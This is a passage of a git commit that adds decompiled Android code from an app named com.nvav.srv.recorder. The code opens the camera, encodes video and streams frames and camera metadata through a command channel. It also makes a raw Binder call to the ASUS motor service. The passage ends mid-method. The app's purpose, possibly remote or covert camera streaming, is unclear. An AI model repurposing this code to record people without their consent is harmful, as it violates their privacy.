init commit
This commit is contained in:
@@ -0,0 +1,124 @@
|
||||
package com.asus.motorservice;
|
||||
|
||||
import android.content.ComponentName;
|
||||
import android.content.Intent;
|
||||
import android.content.ServiceConnection;
|
||||
import android.content.pm.ResolveInfo;
|
||||
import android.os.IBinder;
|
||||
import android.os.Parcel;
|
||||
import android.util.Log;
|
||||
import com.nvav.srv.recorder.Speek;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.util.List;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class MotorHalManager {
|
||||
String st = "";
|
||||
|
||||
private static native int nativeAutoControl(int i);
|
||||
|
||||
public static native int nativeAutoControlWithAngle(int i, int i2);
|
||||
|
||||
private static native int nativeAutoControlWithSpecifiedAngle(int i);
|
||||
|
||||
public static native int nativeCloseDevShutDown(int i);
|
||||
|
||||
private static native float nativeGetAngleTK();
|
||||
|
||||
private static native float nativeGetMinimumRotateAngle();
|
||||
|
||||
public static native float nativeGetMotorAngle();
|
||||
|
||||
public static native String nativeGetVersion();
|
||||
|
||||
private static native int nativeIsMcuReady();
|
||||
|
||||
private static native int nativeManualControl(int i, int i2, int i3);
|
||||
|
||||
private static native int nativeManualControlNoSS(int i, int i2, int i3);
|
||||
|
||||
private static native int nativeMotorStop();
|
||||
|
||||
public static native int nativeOpenDev();
|
||||
|
||||
public static native int nativeResetUserCalValue();
|
||||
|
||||
private static native void nativeSetAngleCallback(MotorHalManager motorHalManager, int i);
|
||||
|
||||
private static native int nativeSetAngleTK(int i);
|
||||
|
||||
private static native void nativeSetInterruptCallback(MotorHalManager motorHalManager);
|
||||
|
||||
private static native void nativeSetStopCallback(MotorHalManager motorHalManager);
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
static {
|
||||
System.loadLibrary("motor");
|
||||
}
|
||||
|
||||
public void onInterrupt() {
|
||||
Log.d("onInterrupt", "oonInterrupt: ");
|
||||
}
|
||||
|
||||
public synchronized void onMotorStop(int i) {
|
||||
Log.d("onMotorStop", "onMotorStop: " + i);
|
||||
}
|
||||
|
||||
public static Intent getIntent() {
|
||||
Intent intent = new Intent("com.asus.motorservice.MotorService");
|
||||
intent.setPackage("com.asus.motorservice");
|
||||
return intent;
|
||||
}
|
||||
|
||||
public void Motor(Speek speek) {
|
||||
List<ResolveInfo> queryIntentServices = speek.getPackageManager().queryIntentServices(getIntent(), 128);
|
||||
if (queryIntentServices == null || queryIntentServices.size() <= 0) {
|
||||
return;
|
||||
}
|
||||
speek.bindService(getIntent(), new ServiceConnection() { // from class: com.asus.motorservice.MotorHalManager.1
|
||||
@Override // android.content.ServiceConnection
|
||||
public void onServiceDisconnected(ComponentName componentName) {
|
||||
}
|
||||
|
||||
@Override // android.content.ServiceConnection
|
||||
public void onServiceConnected(ComponentName componentName, IBinder iBinder) {
|
||||
MessageDigest messageDigest;
|
||||
byte[] bytes = "com.asus.camera".getBytes();
|
||||
try {
|
||||
messageDigest = MessageDigest.getInstance("sha-256");
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
messageDigest = null;
|
||||
}
|
||||
messageDigest.update(bytes);
|
||||
byte[] digest = messageDigest.digest(bytes);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (byte b : digest) {
|
||||
String hexString = Integer.toHexString(b & 255);
|
||||
if (hexString.length() == 1) {
|
||||
hexString = "0" + hexString;
|
||||
}
|
||||
sb.append(hexString);
|
||||
}
|
||||
Log.d("IMotorService", "decode: " + sb.toString());
|
||||
Parcel obtain = Parcel.obtain();
|
||||
Parcel obtain2 = Parcel.obtain();
|
||||
try {
|
||||
try {
|
||||
obtain.writeInterfaceToken("com.asus.motorservice.IMotorService");
|
||||
iBinder.transact(4, obtain, obtain2, 0);
|
||||
obtain2.readException();
|
||||
Log.d("IMotorService", "decode: " + obtain2.readString());
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
} finally {
|
||||
obtain2.recycle();
|
||||
obtain.recycle();
|
||||
}
|
||||
}
|
||||
}, 128);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
package com.nvav.srv.recorder;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public final class BuildConfig {
|
||||
public static final String APPLICATION_ID = "com.nvav.srv.recorder";
|
||||
public static final String BUILD_TYPE = "release";
|
||||
public static final boolean DEBUG = false;
|
||||
public static final int VERSION_CODE = 17;
|
||||
public static final String VERSION_NAME = "55.17";
|
||||
}
|
||||
@@ -0,0 +1,787 @@
|
||||
package com.nvav.srv.recorder;
|
||||
|
||||
import android.graphics.Point;
|
||||
import android.graphics.Rect;
|
||||
import android.hardware.camera2.CameraAccessException;
|
||||
import android.hardware.camera2.CameraCaptureSession;
|
||||
import android.hardware.camera2.CameraCharacteristics;
|
||||
import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession;
|
||||
import android.hardware.camera2.CameraDevice;
|
||||
import android.hardware.camera2.CameraManager;
|
||||
import android.hardware.camera2.CaptureFailure;
|
||||
import android.hardware.camera2.CaptureRequest;
|
||||
import android.hardware.camera2.CaptureResult;
|
||||
import android.hardware.camera2.TotalCaptureResult;
|
||||
import android.hardware.camera2.params.MeteringRectangle;
|
||||
import android.hardware.camera2.params.StreamConfigurationMap;
|
||||
import android.media.MediaCodec;
|
||||
import android.media.MediaCrypto;
|
||||
import android.media.MediaFormat;
|
||||
import android.os.Handler;
|
||||
import android.os.HandlerThread;
|
||||
import android.util.Log;
|
||||
import android.util.Range;
|
||||
import android.util.Size;
|
||||
import android.view.Surface;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.function.Predicate;
|
||||
import java.util.stream.Stream;
|
||||
/* loaded from: /home/trevor/apk_decompile/classes.dex */
|
||||
public class CameraASUS implements ICameraRecord {
|
||||
static boolean Restarting;
|
||||
static boolean Starting;
|
||||
String[] CamResFPS;
|
||||
Size MaxSize;
|
||||
Size SizeImage;
|
||||
int aec;
|
||||
int caem;
|
||||
int cafm;
|
||||
MeteringRectangle[] cafr;
|
||||
int caft;
|
||||
int cem;
|
||||
Comand comand;
|
||||
private byte[] config;
|
||||
MediaFormat format;
|
||||
private String id;
|
||||
float lfd;
|
||||
private MediaCodec.BufferInfo mBufferInfo;
|
||||
CameraDevice mCamera;
|
||||
CameraManager mCameraManager;
|
||||
Handler mHandler;
|
||||
Handler mHandler2;
|
||||
Handler mHandler3;
|
||||
MediaCodec mMediaCodec;
|
||||
List<Surface> mOutputSurfaces;
|
||||
CaptureRequest.Builder mRecordingRequestBuilder;
|
||||
private Surface mRecordingSurface;
|
||||
Thread mRecordingThread;
|
||||
private CameraCaptureSession mSession;
|
||||
private CameraConstrainedHighSpeedCaptureSession mSessionHI;
|
||||
HandlerThread mThread;
|
||||
HandlerThread mThread2;
|
||||
HandlerThread mThread3;
|
||||
CameraCharacteristics properties;
|
||||
Rect rect;
|
||||
String sCamera;
|
||||
Long set;
|
||||
Long sfd;
|
||||
Speek speek;
|
||||
int ss;
|
||||
private int countSend = 0;
|
||||
public int MinISO = 0;
|
||||
public int MaxISO = 0;
|
||||
public int FPS = 30;
|
||||
int decr = 5;
|
||||
private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUS.1
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onClosed(CameraDevice cameraDevice) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onOpened(CameraDevice cameraDevice) {
|
||||
try {
|
||||
CameraASUS.this.mCamera = cameraDevice;
|
||||
CameraASUS cameraASUS = CameraASUS.this;
|
||||
cameraASUS.properties = cameraASUS.mCameraManager.getCameraCharacteristics(CameraASUS.this.mCamera.getId());
|
||||
Size[] outputSizes = ((StreamConfigurationMap) CameraASUS.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class);
|
||||
CameraASUS.this.MaxSize = null;
|
||||
for (Size size : outputSizes) {
|
||||
if (size.getWidth() == Integer.parseInt(CameraASUS.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraASUS.this.CamResFPS[3])) {
|
||||
CameraASUS.this.MaxSize = size;
|
||||
}
|
||||
}
|
||||
CameraASUS.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraASUS.this.MaxSize.getWidth()), Integer.valueOf(CameraASUS.this.MaxSize.getHeight())));
|
||||
CameraASUS cameraASUS2 = CameraASUS.this;
|
||||
cameraASUS2.format = MediaFormat.createVideoFormat("video/avc", cameraASUS2.MaxSize.getWidth(), CameraASUS.this.MaxSize.getHeight());
|
||||
CameraASUS.this.format.setInteger("color-format", 2130708361);
|
||||
CameraASUS cameraASUS3 = CameraASUS.this;
|
||||
cameraASUS3.FPS = Integer.parseInt(cameraASUS3.CamResFPS[5]);
|
||||
CameraASUS.this.format.setInteger("bitrate", Integer.parseInt(CameraASUS.this.CamResFPS[0]));
|
||||
CameraASUS.this.format.setInteger("frame-rate", CameraASUS.this.FPS);
|
||||
CameraASUS.this.format.setInteger("i-frame-interval", 1);
|
||||
CameraASUS.this.comand.WriteOut(String.format("result=BitRate:%s", CameraASUS.this.CamResFPS[0]));
|
||||
CameraASUS.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraASUS.this.format.getInteger("bitrate"))));
|
||||
CameraASUS.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraASUS.this.format.getInteger("frame-rate"))));
|
||||
CameraASUS.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc");
|
||||
CameraASUS.this.mMediaCodec.configure(CameraASUS.this.format, (Surface) null, (MediaCrypto) null, 1);
|
||||
CameraASUS cameraASUS4 = CameraASUS.this;
|
||||
cameraASUS4.mRecordingSurface = cameraASUS4.mMediaCodec.createInputSurface();
|
||||
CameraASUS.this.mOutputSurfaces = new ArrayList();
|
||||
CameraASUS.this.mOutputSurfaces.add(CameraASUS.this.mRecordingSurface);
|
||||
if (Integer.valueOf(CameraASUS.this.CamResFPS[5]).intValue() > 30) {
|
||||
CameraASUS.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraASUS.this.mOutputSurfaces, CameraASUS.this.sessionListener, CameraASUS.this.mHandler);
|
||||
} else {
|
||||
CameraASUS.this.mCamera.createCaptureSession(CameraASUS.this.mOutputSurfaces, CameraASUS.this.sessionListener, CameraASUS.this.mHandler);
|
||||
}
|
||||
CameraASUS.this.mMediaCodec.start();
|
||||
} catch (Exception e) {
|
||||
CameraASUS.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onDisconnected(CameraDevice cameraDevice) {
|
||||
CameraASUS.Restarting = true;
|
||||
CameraASUS.Starting = false;
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraDevice.StateCallback
|
||||
public void onError(CameraDevice cameraDevice, int i) {
|
||||
CameraASUS.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i)));
|
||||
}
|
||||
};
|
||||
CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUS.2
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onClosed(CameraCaptureSession cameraCaptureSession) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onConfigured(CameraCaptureSession cameraCaptureSession) {
|
||||
try {
|
||||
if (Integer.valueOf(CameraASUS.this.CamResFPS[5]).intValue() > 30) {
|
||||
CameraASUS.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession;
|
||||
} else {
|
||||
CameraASUS.this.mSession = cameraCaptureSession;
|
||||
}
|
||||
CameraASUS cameraASUS = CameraASUS.this;
|
||||
cameraASUS.mRecordingRequestBuilder = cameraASUS.mCamera.createCaptureRequest(3);
|
||||
CameraASUS.this.mRecordingRequestBuilder.addTarget(CameraASUS.this.mRecordingSurface);
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraASUS.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraASUS.this.CamResFPS[5]))));
|
||||
CameraASUS.this.setParams();
|
||||
if (CameraASUS.Restarting) {
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraASUS.this.rect);
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraASUS.this.aec));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraASUS.this.cem));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraASUS.this.cafr);
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraASUS.this.ss));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraASUS.this.sfd);
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraASUS.this.set);
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUS.this.cafm));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraASUS.this.caem));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraASUS.this.caft));
|
||||
CameraASUS.this.setParams();
|
||||
}
|
||||
CameraASUS.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraASUS.2.1
|
||||
@Override // java.lang.Thread, java.lang.Runnable
|
||||
public void run() {
|
||||
while (CameraASUS.Starting) {
|
||||
try {
|
||||
CameraASUS.this.encode(false);
|
||||
sleep(1L);
|
||||
} catch (Exception e) {
|
||||
CameraASUS.this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
try {
|
||||
CameraASUS.this.rect = (Rect) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
CameraASUS.this.aec = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue();
|
||||
CameraASUS.this.cem = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue();
|
||||
CameraASUS.this.cafr = (MeteringRectangle[]) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS);
|
||||
CameraASUS.this.cafm = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue();
|
||||
CameraASUS.this.caft = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue();
|
||||
CameraASUS.this.lfd = ((Float) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue();
|
||||
CameraASUS.this.caem = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue();
|
||||
CameraASUS.this.ss = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue();
|
||||
CameraASUS.this.sfd = (Long) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION);
|
||||
CameraASUS.this.set = (Long) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
|
||||
} catch (Exception e2) {
|
||||
CameraASUS.this.comand.WriteErr(e2);
|
||||
}
|
||||
try {
|
||||
CameraASUS.this.mCamera.close();
|
||||
} catch (Exception e3) {
|
||||
CameraASUS.this.comand.WriteErr(e3);
|
||||
}
|
||||
try {
|
||||
if (CameraASUS.this.mMediaCodec != null) {
|
||||
CameraASUS.this.mMediaCodec.stop();
|
||||
CameraASUS.this.mMediaCodec.release();
|
||||
}
|
||||
} catch (Exception e4) {
|
||||
CameraASUS.this.comand.WriteErr(e4);
|
||||
}
|
||||
try {
|
||||
if (CameraASUS.this.mRecordingSurface != null) {
|
||||
CameraASUS.this.mRecordingSurface.release();
|
||||
CameraASUS.this.mRecordingSurface = null;
|
||||
}
|
||||
} catch (Exception e5) {
|
||||
CameraASUS.this.comand.WriteErr(e5);
|
||||
}
|
||||
try {
|
||||
CameraASUS.this.mOutputSurfaces.clear();
|
||||
CameraASUS.this.mOutputSurfaces = null;
|
||||
} catch (Exception e6) {
|
||||
CameraASUS.this.comand.WriteErr(e6);
|
||||
}
|
||||
CameraASUS.this.mMediaCodec = null;
|
||||
CameraASUS.this.mCamera = null;
|
||||
try {
|
||||
CameraASUS.this.mRecordingRequestBuilder.removeTarget(CameraASUS.this.mRecordingSurface);
|
||||
} catch (Exception e7) {
|
||||
CameraASUS.this.comand.WriteErr(e7);
|
||||
}
|
||||
try {
|
||||
sleep(750L);
|
||||
} catch (Exception e8) {
|
||||
CameraASUS.this.comand.WriteErr(e8);
|
||||
}
|
||||
try {
|
||||
CameraASUS.this.mThread.interrupt();
|
||||
CameraASUS.this.mThread2.interrupt();
|
||||
CameraASUS.this.mThread3.interrupt();
|
||||
} catch (Exception e9) {
|
||||
CameraASUS.this.comand.WriteErr(e9);
|
||||
}
|
||||
if (CameraASUS.Restarting) {
|
||||
try {
|
||||
CameraASUS.this.StartRestart();
|
||||
} catch (Exception e10) {
|
||||
CameraASUS.this.comand.WriteErr(e10);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
CameraASUS.this.mRecordingThread.start();
|
||||
if (CameraASUS.Restarting) {
|
||||
try {
|
||||
Thread.sleep(250L);
|
||||
} catch (Exception e) {
|
||||
CameraASUS.this.comand.WriteErr(e);
|
||||
}
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUS.this.cafm));
|
||||
CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraASUS.this.lfd));
|
||||
CameraASUS.Restarting = false;
|
||||
CameraASUS.this.setParams();
|
||||
}
|
||||
} catch (Exception e2) {
|
||||
CameraASUS.this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onActive(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.StateCallback
|
||||
public void onReady(CameraCaptureSession cameraCaptureSession) {
|
||||
Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis())));
|
||||
}
|
||||
};
|
||||
private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraASUS.3
|
||||
long time_out_param = System.currentTimeMillis();
|
||||
double lat = 0.0d;
|
||||
double lon = 0.0d;
|
||||
long FrameNumber = 0;
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) {
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) {
|
||||
if (System.currentTimeMillis() - this.time_out_param > 200) {
|
||||
String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME));
|
||||
CameraASUS.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array());
|
||||
this.time_out_param = System.currentTimeMillis();
|
||||
}
|
||||
}
|
||||
|
||||
@Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback
|
||||
public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) {
|
||||
this.FrameNumber = j2;
|
||||
}
|
||||
};
|
||||
int endkey = 0;
|
||||
int outbyte = 0;
|
||||
short outFPS = 0;
|
||||
long timebyte = System.currentTimeMillis();
|
||||
ByteArrayOutputStream output = new ByteArrayOutputStream();
|
||||
int iTest = 1;
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void setParams() {
|
||||
try {
|
||||
if (Integer.valueOf(this.CamResFPS[5]).intValue() > 30) {
|
||||
this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler);
|
||||
} else {
|
||||
this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler);
|
||||
}
|
||||
} catch (CameraAccessException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
void StartRestart() {
|
||||
try {
|
||||
this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera");
|
||||
Starting = true;
|
||||
HandlerThread handlerThread = new HandlerThread("CameraThread");
|
||||
this.mThread = handlerThread;
|
||||
handlerThread.start();
|
||||
this.mHandler = new Handler(this.mThread.getLooper());
|
||||
HandlerThread handlerThread2 = new HandlerThread("CameraThread2");
|
||||
this.mThread2 = handlerThread2;
|
||||
handlerThread2.start();
|
||||
this.mHandler2 = new Handler(this.mThread2.getLooper());
|
||||
HandlerThread handlerThread3 = new HandlerThread("CameraThread3");
|
||||
this.mThread3 = handlerThread3;
|
||||
handlerThread3.start();
|
||||
this.mHandler3 = new Handler(this.mThread3.getLooper());
|
||||
long currentTimeMillis = System.currentTimeMillis();
|
||||
while (System.currentTimeMillis() - currentTimeMillis <= 10000) {
|
||||
String[] cameraIdList = this.mCameraManager.getCameraIdList();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (String str : cameraIdList) {
|
||||
sb.append(str).append(";");
|
||||
}
|
||||
this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis)));
|
||||
Thread.sleep(300L);
|
||||
if (cameraIdList.length != 0) {
|
||||
Stream stream = Arrays.stream(cameraIdList);
|
||||
final String str2 = this.CamResFPS[1];
|
||||
Objects.requireNonNull(str2);
|
||||
if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraASUS$$ExternalSyntheticLambda0
|
||||
@Override // java.util.function.Predicate
|
||||
public final boolean test(Object obj) {
|
||||
boolean equals;
|
||||
equals = str2.equals((String) obj);
|
||||
return equals;
|
||||
}
|
||||
})) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler);
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
public CameraASUS(CameraManager cameraManager, Speek speek, String str, Comand comand) {
|
||||
this.CamResFPS = str.split(";");
|
||||
this.comand = comand;
|
||||
comand.WriteOut(String.format("result=%s", str));
|
||||
this.speek = speek;
|
||||
this.mBufferInfo = new MediaCodec.BufferInfo();
|
||||
StartRestart();
|
||||
}
|
||||
|
||||
@Override // com.nvav.srv.recorder.ICameraRecord
|
||||
public void Stop() {
|
||||
try {
|
||||
Starting = false;
|
||||
encode(true);
|
||||
this.mCamera.close();
|
||||
} catch (Exception e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
}
|
||||
|
||||
/* JADX INFO: Access modifiers changed from: private */
|
||||
public void encode(boolean z) {
|
||||
if (z) {
|
||||
MediaCodec mediaCodec = this.mMediaCodec;
|
||||
if (mediaCodec == null) {
|
||||
return;
|
||||
}
|
||||
mediaCodec.signalEndOfInputStream();
|
||||
}
|
||||
try {
|
||||
int i = this.iTest;
|
||||
int i2 = i / i;
|
||||
int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L);
|
||||
if (dequeueOutputBuffer < 0) {
|
||||
if (dequeueOutputBuffer == -2) {
|
||||
this.mMediaCodec.getOutputFormat();
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer);
|
||||
if (outputBuffer == null) {
|
||||
return;
|
||||
}
|
||||
if (this.mBufferInfo.size != 0) {
|
||||
this.outbyte += this.mBufferInfo.size;
|
||||
this.outFPS = (short) (this.outFPS + 1);
|
||||
if (System.currentTimeMillis() - this.timebyte > 1000) {
|
||||
this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(this.outFPS).putInt(this.outbyte).putInt((int) (System.currentTimeMillis() - this.timebyte)).array());
|
||||
this.outbyte = 0;
|
||||
this.outFPS = (short) 0;
|
||||
this.timebyte = System.currentTimeMillis();
|
||||
}
|
||||
outputBuffer.position(this.mBufferInfo.offset);
|
||||
outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size);
|
||||
byte[] bArr = new byte[this.mBufferInfo.size];
|
||||
outputBuffer.get(bArr);
|
||||
if (this.mBufferInfo.flags == 2) {
|
||||
try {
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream.write(3);
|
||||
byteArrayOutputStream.write(2);
|
||||
byteArrayOutputStream.write(bArr);
|
||||
byteArrayOutputStream.flush();
|
||||
this.config = byteArrayOutputStream.toByteArray();
|
||||
byteArrayOutputStream.close();
|
||||
} catch (IOException e) {
|
||||
this.comand.WriteErr(e);
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
this.countSend++;
|
||||
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
|
||||
byteArrayOutputStream2.write(3);
|
||||
if (this.mBufferInfo.flags == 1) {
|
||||
this.endkey = this.countSend;
|
||||
this.comand.WriteOut(this.config);
|
||||
byteArrayOutputStream2.write(1);
|
||||
ByteBuffer allocate = ByteBuffer.allocate(4);
|
||||
allocate.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate.array());
|
||||
} else {
|
||||
byteArrayOutputStream2.write(0);
|
||||
ByteBuffer allocate2 = ByteBuffer.allocate(8);
|
||||
allocate2.putInt(this.countSend);
|
||||
allocate2.putInt(this.endkey);
|
||||
byteArrayOutputStream2.write(allocate2.array());
|
||||
}
|
||||
byteArrayOutputStream2.write(bArr);
|
||||
byteArrayOutputStream2.flush();
|
||||
this.comand.WriteOut(byteArrayOutputStream2.toByteArray());
|
||||
byteArrayOutputStream2.close();
|
||||
} catch (IOException e2) {
|
||||
this.comand.WriteErr(e2);
|
||||
}
|
||||
}
|
||||
}
|
||||
this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true);
|
||||
} catch (ArithmeticException e3) {
|
||||
this.comand.WriteErr(e3);
|
||||
this.iTest = 1;
|
||||
this.mMediaCodec.reset();
|
||||
} catch (IllegalStateException e4) {
|
||||
this.comand.WriteErr(e4);
|
||||
Restarting = true;
|
||||
Starting = false;
|
||||
}
|
||||
}
|
||||
|
||||
byte[] putInt(int i) {
|
||||
return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array();
|
||||
}
|
||||
|
||||
private Point toThis(Point point) {
|
||||
Rect rect = (Rect) this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION);
|
||||
point.x = ((point.x * rect.width()) / this.MaxSize.getWidth()) + rect.left;
|
||||
point.y = ((point.y * rect.height()) / this.MaxSize.getHeight()) + rect.top;
|
||||
